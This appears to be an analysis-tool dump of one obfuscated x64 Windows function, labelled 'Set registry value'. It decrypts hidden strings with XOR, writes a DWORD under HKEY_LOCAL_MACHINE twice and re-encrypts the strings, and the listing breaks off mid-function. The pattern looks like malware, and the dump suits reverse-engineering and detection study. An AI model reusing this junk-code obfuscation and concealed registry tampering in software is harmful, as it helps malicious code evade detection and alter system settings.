Function at 0x1403f5f8c
Capabilities:
Set registry value

Disassembly:
push r15
rcl al, 0x4e
adc ax, 0x5fce
push r14
sub r14w, si
sub r14d, 0x3e5e32eb
push r13
rcl r15, 0x9a
push r12
btr r12w, 0xab
push rsi
sbb si, dx
rcr r15w, cl
push rdi
test r15w, 0x2ae8
push rbp
push rbx
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
mov qword [rsp + 0x2e0], rax
xchg dil, r14b
jmp 0x1403f5fe2
mov qword [rsp + 0x40], rax
movsx r15, cx
mov si, si
movabs rax, 0x2204bcb80ebea5a3
mov r15d, 0x5547537a
mov qword [rsp + 0x2d8], rax
xchg dil, r15b
movsx ebx, r14w
mov r13, 0x1e1f2015
mov qword [rsp + 0x48], rax
xchg dil, al
movsxd rax, edi
movabs rax, 0xfbc9f38de01f2fa2
movsx r12, r8w
movzx r13d, cx
mov qword [rsp + 0x2d0], rax
mov qword [rsp + 0x50], rax
cwde
movabs rax, 0x17a75ff95317a686
mov r12b, 0x42
mov bp, bx
setle dil
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x58], rax
movabs rax, 0xfd99d5578f55fa6f
movsx r13, si
movzx r13, r11w
xchg r13b, r12b
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x60], rax
cwde
movabs rax, 0x4b3964fdcd447246
movzx esi, cx
movzx rsi, r9w
mov r15w, si
mov qword [rsp + 0x2b8], rax
bswap di
mov r13w, si
mov qword [rsp + 0x68], rax
lahf
cdqe
movabs rax, 0xee88324679eb2227
movsx si, r15b
xchg r14w, bp
movsx r13, r8w
mov qword [rsp + 0x2b0], rax
movsx r13, r9w
cmovno rbp, rbp
not r15w
mov qword [rsp + 0x70], rax
movzx ebp, di
movabs rax, 0x6d7346ad6d4ffefa
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x78], rax
movabs rax, 0xd093683aef376a76
setne r14b
movsx si, r11b
mov qword [rsp + 0x2a0], rax
movzx r13d, r14w
mov qword [rsp + 0x80], rax
cwde
movabs rax, 0xa80f93e9d32b8c6f
setg r12b
movsx r12d, r14w
mov qword [rsp + 0x298], rax
jmp 0x1403f6140
mov qword [rsp + 0x88], rax
jmp 0x1403f6152
movabs rax, 0x33e730243394033e
movzx r15d, sp
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x90], rax
movabs rax, 0xe7e3977e114e6703
mov qword [rsp + 0x288], rax
xchg r15b, r12b
jmp 0x1403f618a
mov qword [rsp + 0x98], rax
mov bl, 0x12
movabs rax, 0xb0b65ec58a603c8
bswap r12
mov r15b, 0x22
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xa0], rax
movzx bp, dil
movsx r15, bx
movabs rax, 0x6708be65ca8156d7
mov qword [rsp + 0x278], rax
jmp 0x1403f61d4
mov qword [rsp + 0xa8], rax
movabs rax, 0x46a7044da5524090
movsx rbx, si
mov rbp, r12
xchg dil, r12b
mov qword [rsp + 0x270], rax
movsx r15d, r8w
mov qword [rsp + 0xb0], rax
movabs rax, 0x4b8cb541ca050f46
movsx r12d, r11w
not r14
setl sil
mov qword [rsp + 0x268], rax
mov qword [rsp + 0xb8], rax
movabs rax, 0xe627ab41184af921
mov qword [rsp + 0x260], rax
mov qword [rsp + 0xc0], rax
jmp 0x1403f6248
movabs rax, 0x34c77b6e31b9a
mov qword [rsp + 0x258], rax
movzx r12, dx
mov qword [rsp + 0xc8], rax
movsx r13, r9w
not r14d
movabs rax, 0xd8cf4ec0049852bb
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9844f8ea419
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
movsxd rbp, esi
mov ax, 0x6c3
cdqe
mov dword [rsp + 0x3c], 0
movsx rbp, di
movabs rbp, 0x2eb490333e21dae3
setne r13b
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
mov sil, 0xdc
cwde
bswap rax
mov qword [rsp + 0xe8], r14
setl r15b
cmovne r15, r15
movabs r15, 0xe05dec612491fd3d
movsx rsi, sp
cmova si, r13w
cwde
mov qword [rsp + 0x100], r15
movabs r12, 0x2247bce40ef3a5e6
mov dil, 0x60
movzx si, r10b
mov qword [rsp + 0x108], r12
mov rax, 0x4ffd39d7
movabs rsi, 0xfbacf3ffe06d2fd7
mov qword [rsp + 0x110], rsi
movzx rdi, r11w
bswap bx
movabs rdi, 0x17c85fba5363a6e8
mov qword [rsp + 0x118], rdi
mov bl, 0xfe
mov r13b, dil
movabs rax, 0xfdf6d5258f21fa01
setns bl
movsx r13d, r10w
movzx ebx, di
mov qword [rsp + 0x120], rax
mov rbx, 0x40ed7d65
xchg bl, r13b
movzx r13d, r8w
mov rbx, rax
movabs rax, 0x4b4d6498cd17722a
movsx r13, r15w
mov qword [rsp + 0x2f0], rax
mov r13w, 0x3ad2
not r13b
mov qword [rsp + 0x128], rax
mov rax, r9
movzx r13d, r14w
movabs rax, 0xeefa322379b8227b
movzx r13d, dx
movzx r13, dx
xchg r13b, r13b
mov qword [rsp + 0x250], rax
jmp 0x1403f63d6
mov qword [rsp + 0x130], rax
cbw
movzx r13w, dl
jmp 0x1403f63ea
movabs rax, 0x6d1646ce6d26fe8c
mov r13w, r13w
movzx r13, r8w
mov qword [rsp + 0x248], rax
not r13b
mov qword [rsp + 0x138], rax
cwde
movzx r13d, sp
cdqe
movabs rax, 0xd0fb6869ef6b6a05
setne r13b
mov qword [rsp + 0x240], rax
bswap r13w
movsx r13w, r9b
jmp 0x1403f643a
mov qword [rsp + 0x140], rax
cbw
setg r13b
movabs rax, 0xa86b938cd3598c0e
mov qword [rsp + 0x238], rax
movzx r13d, bp
mov qword [rsp + 0x148], rax
movabs rax, 0x3382304733f7037f
bswap r13
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x150], rax
movabs rax, 0xe7b39722113d6770
jmp 0x1403f6492
mov qword [rsp + 0x228], rax
movsx r13, di
mov qword [rsp + 0x158], rax
movsxd rax, r12d
movabs rax, 0xb66658d58d403a9
mov r13b, 0xce
xchg r13w, r13w
movsxd r13, esi
mov qword [rsp + 0x220], rax
not r13b
movzx r13w, bl
movsx r13, sp
mov qword [rsp + 0x160], rax
mov r13w, 0x4ca2
lahf
movabs rax, 0x677abe00caf556b2
movzx r13w, r11b
mov qword [rsp + 0x218], rax
movzx r13d, bp
movsx r13d, bx
movzx r13, bx
mov qword [rsp + 0x168], rax
not r13w
bswap r13d
movabs rax, 0x46ce040ba50e40e3
movsx r13, di
jmp 0x1403f6528
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x170], rax
movabs rax, 0x4bedb536ca600f34
movsx r13w, dil
mov qword [rsp + 0x208], rax
bswap r13d
movzx r13w, al
mov qword [rsp + 0x178], rax
cwde
jmp 0x1403f6565
movabs rax, 0xe648ab111826f94d
jmp 0x1403f6577
mov qword [rsp + 0x200], rax
bswap r13w
setp r13b
mov qword [rsp + 0x180], rax
not al
movabs rax, 0x7a4c14b68a1bf6
cmovno r13w, cx
movsx r13d, r12w
mov qword [rsp + 0x1f8], rax
movsx r13d, ax
mov qword [rsp + 0x188], rax
seto al
movabs rax, 0xd8a24eaf04dc52e7
movsx r13, r13w
bswap r13w
mov qword [rsp + 0x1f0], rax
movsxd r13, r14d
movsx r13, r15w
xchg r13w, r13w
mov qword [rsp + 0x190], rax
cbw
movsx r13, r15w
movabs rax, 0xa5bac9ea4fe7a478
movsxd r13, r9d
mov qword [rsp + 0x1e8], rax
movsx r13d, si
mov qword [rsp + 0x198], rax
movabs rax, 0x2edd90553e4eda91
movsxd r13, ebp
movzx r13w, r14b
mov qword [rsp + 0x1e0], rax
jmp 0x1403f662e
mov qword [rsp + 0x1a0], rax
movabs rax, 0x28903e4866e9b93a
movsx r13, ax
xchg r13b, r13b
mov qword [rsp + 0x1d8], rax
movsx r13d, r11w
movsx r13w, bl
movsx r13, di
mov qword [rsp + 0x1a8], rax
movsxd rax, edx
cwde
lahf
lea r13, [rsp + 0x100]
mov rax, r13
jmp 0x1403f6679
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f6683
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f6690
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403f669a
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403f66a8
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403f66b2
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403f66c5
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403f66d3
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403f66e0
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403f66f1
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403f66fe
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403f6723
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403f673c
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403f6749
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403f675d
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403f676a
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403f677e
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403f678b
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
movsx rcx, sp
movzx r8, sp
cmova cx, r10w
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
jmp 0x1403f67bd
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403f67d2
mov qword [rsp + 0x1d0], rax
jmp 0x1403f67df
mov qword [rsp + 0x40], rax
movzx ax, cl
not eax
movabs rax, 0x222ebca20e96a58a
jmp 0x1403f67f9
mov qword [rsp + 0x1c8], rax
mov qword [rsp + 0x48], rax
cwde
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403f6816
mov qword [rsp + 0x2e8], rax
jmp 0x1403f6823
mov qword [rsp + 0x50], rax
movzx rax, r13w
movabs rax, 0x17c85fba530fa684
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x58], rax
movsx rax, ax
mov ax, 0x59
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cmova ax, r15w
mov qword [rsp + 0x110], rsi
movsxd rax, eax
mov qword [rsp + 0x118], rdi
not eax
cwde
bswap ax
mov rax, r13
jmp 0x1403f6881
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f688b
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f6898
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
btr edx, r13d
xchg r9, r9
sar rcx, 0x22
mov rcx, qword [rsp + 0x30]
sbb ah, 0x37
lea rax, [rsp + 0x3c]
rcr rdx, 0x2f
rol dl, 1
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
movzx r9w, bpl
sub r8d, r8d
movsxd r9, r14d
mov r9d, 4
jmp 0x1403f68ec
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403f68fc
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403f690f
mov qword [rsp + 0x40], rax
cbw
movsx rax, r15w
mov rax, qword [rsp + 0x2d8]
jmp 0x1403f6927
mov qword [rsp + 0x48], rax
lahf
movsx rax, r10w
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x1403f694b
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x60], rax
cmovge rax, rsi
jmp 0x1403f6968
mov rax, qword [rsp + 0x2b8]
jmp 0x1403f6975
mov qword [rsp + 0x68], rax
setno ah
cmovg ax, si
mov rax, qword [rsp + 0x2b0]
jmp 0x1403f698e
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x78], rax
nop
bswap eax
not eax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
cbw
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
movzx ax, r14b
mov al, r11b
mov rax, qword [rsp + 0x290]
jmp 0x1403f69dd
mov qword [rsp + 0x90], rax
lahf
movzx rax, r9w
mov rax, qword [rsp + 0x288]
jmp 0x1403f69f7
mov qword [rsp + 0x98], rax
cdqe
cbw
not rax
mov rax, qword [rsp + 0x280]
jmp 0x1403f6a13
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
jmp 0x1403f6a28
mov qword [rsp + 0xa8], rax
movzx ax, r9b
movsx rax, si
cwde
mov rax, qword [rsp + 0x270]
jmp 0x1403f6a47
mov qword [rsp + 0xb0], rax
not ah
movsx eax, bp
mov rax, qword [rsp + 0x268]
jmp 0x1403f6a61
mov qword [rsp + 0xb8], rax
cwde
cbw
movzx rax, cx
mov rax, qword [rsp + 0x260]
jmp 0x1403f6a7d
mov qword [rsp + 0xc0], rax
nop
movzx eax, r8w
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403f6aaa
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403f6ac1
mov qword [rsp + 0xd8], rax
movsx rax, r8w
mov qword [rsp + 0xe0], rbp
movsx ax, r12b
movzx rbp, di
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x100], r15
xchg r14b, r14b
movsx r14w, bpl
movzx bp, r15b
mov qword [rsp + 0x108], r12
movsx ebp, di
cbw
lahf
mov qword [rsp + 0x110], rsi
lahf
mov qword [rsp + 0x118], rdi
cdqe
mov rax, r14
mov rbp, rbx
cbw
movsx r14, r10w
mov qword [rsp + 0x120], rbx
mov r14, qword [rsp + 0x2f0]
mov qword [rsp + 0x128], r14
not al
lahf
mov rax, qword [rsp + 0x250]
jmp 0x1403f6b50
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x138], rax
cmova ax, r14w
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
cmovbe rax, r11
mov rax, qword [rsp + 0x238]
jmp 0x1403f6b8e
mov qword [rsp + 0x148], rax
cwde
mov ah, cl
mov rax, qword [rsp + 0x230]
jmp 0x1403f6ba6
mov qword [rsp + 0x150], rax
movsx rax, r8w
mov rax, qword [rsp + 0x228]
jmp 0x1403f6bbf
mov qword [rsp + 0x158], rax
movzx ax, r10b
bswap ax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x1403f6bec
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x210]
jmp 0x1403f6c01
mov qword [rsp + 0x170], rax
bswap ax
cbw
movsx eax, cx
mov rax, qword [rsp + 0x208]
jmp 0x1403f6c1e
mov qword [rsp + 0x178], rax
cwde
movsx eax, r11w
mov rax, qword [rsp + 0x200]
jmp 0x1403f6c38
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403f6c4d
mov qword [rsp + 0x188], rax
movsxd rax, r11d
movzx eax, ax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x190], rax
movzx eax, r12w
cbw
cdqe
mov rax, qword [rsp + 0x1e8]
jmp 0x1403f6c80
mov qword [rsp + 0x198], rax
movzx eax, r10w
mov al, 0x5f
not al
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403f6cad
mov qword [rsp + 0x1a8], rax
cwde
movzx eax, bp
bswap ax
mov rax, r13
jmp 0x1403f6cc4
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f6cce
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403f6cd8
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403f6ce2
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403f6cef
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f6cf9
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403f6d07
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403f6d15
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403f6d23
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403f6d30
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403f6d41
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403f6d5a
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403f6d67
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403f6d78
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403f6d85
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403f6d96
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403f6da3
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403f6db7
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403f6ddb
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
not r8
cqo
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
xchg r8w, r8w
bswap r8
lea r8, [rsp + 0x30]
jmp 0x1403f6e0c
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
xchg rbx, rbx
movsxd rbx, edi
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1c8]
movzx rbx, r9w
mov ebx, 0x1984c61
cmovs bx, r14w
mov qword [rsp + 0x48], rax
cwde
mov rbx, qword [rsp + 0x2e8]
cwde
movzx ax, spl
sets al
mov qword [rsp + 0x50], rbx
bswap ax
movsx rax, bx
mov rax, qword [rsp + 0x1c0]
jmp 0x1403f6e6b
mov qword [rsp + 0x58], rax
bswap ax
mov rax, r12
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
xchg al, al
movsx rax, r10w
mov qword [rsp + 0x110], rsi
cbw
movzx ax, r14b
lahf
mov qword [rsp + 0x118], rdi
movzx eax, r14w
movsx eax, bp
mov rax, r13
jmp 0x1403f6eb3
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f6ec5
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403f6ecf
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
sub dl, 0x51
rcr al, 0xbf
mov rcx, qword [rsp + 0x30]
nop
neg r9w
btr r9d, 0x47
lea rax, [rsp + 0x3c]
shr dh, cl
mov qword [rsp + 0x20], rax
sete dl
bts r9d, ebp
mov dword [rsp + 0x28], 4
cmp bpl, bpl
or dh, 0x40
xchg dx, dx
lea rdx, [rsp + 0x40]
clc
rol r9b, 0xbc
movzx r9w, r15b
sub r8d, r8d
movsx r9d, sp
jmp 0x1403f6f30
mov r9d, 4
jmp 0x1403f6f3b
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403f6f4b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403f6f5e
mov qword [rsp + 0x40], rax
jmp 0x1403f6f6d
mov rax, qword [rsp + 0x2d8]
jmp 0x1403f6f7a
mov qword [rsp + 0x48], rax
mov ax, bx
movzx eax, bp
mov rax, qword [rsp + 0x2d0]
jmp 0x1403f6f92
mov qword [rsp + 0x50], rax
cwde
jmp 0x1403f6fa0
mov rax, qword [rsp + 0x2c8]
jmp 0x1403f6fad
mov qword [rsp + 0x58], rax
movsxd rax, r13d
mov rax, qword [rsp + 0x2c0]
jmp 0x1403f6fc2
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403f6fd4
mov qword [rsp + 0x68], rax
movsx rax, r12w
movsxd rax, ebx
mov ah, bl
mov rax, qword [rsp + 0x2b0]
jmp 0x1403f6fef
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x2a8]
jmp 0x1403f7001
mov qword [rsp + 0x78], rax
cdqe
movsx eax, r15w
mov rax, qword [rsp + 0x2a0]
jmp 0x1403f7019
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x1403f702e
mov qword [rsp + 0x88], rax
cbw
mov rax, qword [rsp + 0x290]
jmp 0x1403f7045
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x288]
jmp 0x1403f705a
mov qword [rsp + 0x98], rax
movzx ax, sil
movsx ax, r14b
mov rax, qword [rsp + 0x280]
jmp 0x1403f7079
mov qword [rsp + 0xa0], rax
sets ah
movsx eax, r12w
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403f70a5
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
jmp 0x1403f70ba
mov qword [rsp + 0xb8], rax
cmovs ax, sp
mov rax, qword [rsp + 0x260]
jmp 0x1403f70d3
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0xc8], rax
movzx rax, r10w
movabs rax, 0xd8c34edb048f52bb
mov qword [rsp + 0xd0], rax
movzx ax, r14b
lahf
not al
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403f7118
mov qword [rsp + 0xd8], rax
movabs rax, 0x2eb290273e1edaf5
mov qword [rsp + 0xe0], rax
movabs rax, 0x28f53e246680b95c
jmp 0x1403f7141
mov qword [rsp + 0xe8], rax
lahf
movzx rax, bp
mov qword [rsp + 0x100], r15
mov ah, 0x8f
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movzx eax, bp
cwde
movsx ax, r10b
mov qword [rsp + 0x118], rdi
cmove ax, r10w
bswap eax
mov qword [rsp + 0x120], rbp
movzx rax, bx
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x130], rax
cdqe
mov rax, qword [rsp + 0x248]
jmp 0x1403f71b4
mov qword [rsp + 0x138], rax
not ah
mov rax, qword [rsp + 0x240]
jmp 0x1403f71cb
mov qword [rsp + 0x140], rax
movsx ax, sil
cwde
mov rax, qword [rsp + 0x238]
jmp 0x1403f71e6
mov qword [rsp + 0x148], rax
movzx rax, r10w
mov rax, qword [rsp + 0x230]
jmp 0x1403f71ff
mov qword [rsp + 0x150], rax
movzx eax, r15w
movsx rax, di
movzx ax, r15b
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
cmove rax, rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x1403f7245
mov qword [rsp + 0x168], rax
setne ah
mov rax, qword [rsp + 0x210]
jmp 0x1403f725d
mov qword [rsp + 0x170], rax
movsx eax, dx
cbw
movsxd rax, r11d
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
not al
bswap ax
mov ax, sp
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403f72a2
mov qword [rsp + 0x188], rax
cwde
mov rax, qword [rsp + 0x1f0]
jmp 0x1403f72b8
mov qword [rsp + 0x190], rax
xchg al, ah
movzx eax, r9w
bswap eax
mov rax, qword [rsp + 0x1e8]
jmp 0x1403f72d5
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x1403f72ea
mov qword [rsp + 0x1a0], rax
movzx ax, r14b
xchg ah, al
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rax
movabs rax, 0xa1410f538a85c08b
jmp 0x1403f7318
mov qword [rsp + 0xf0], rax
jmp 0x1403f7325
mov qword [rsp + 0x1b0], rax
movabs rax, 0x6078a8fe5539451c
jmp 0x1403f733c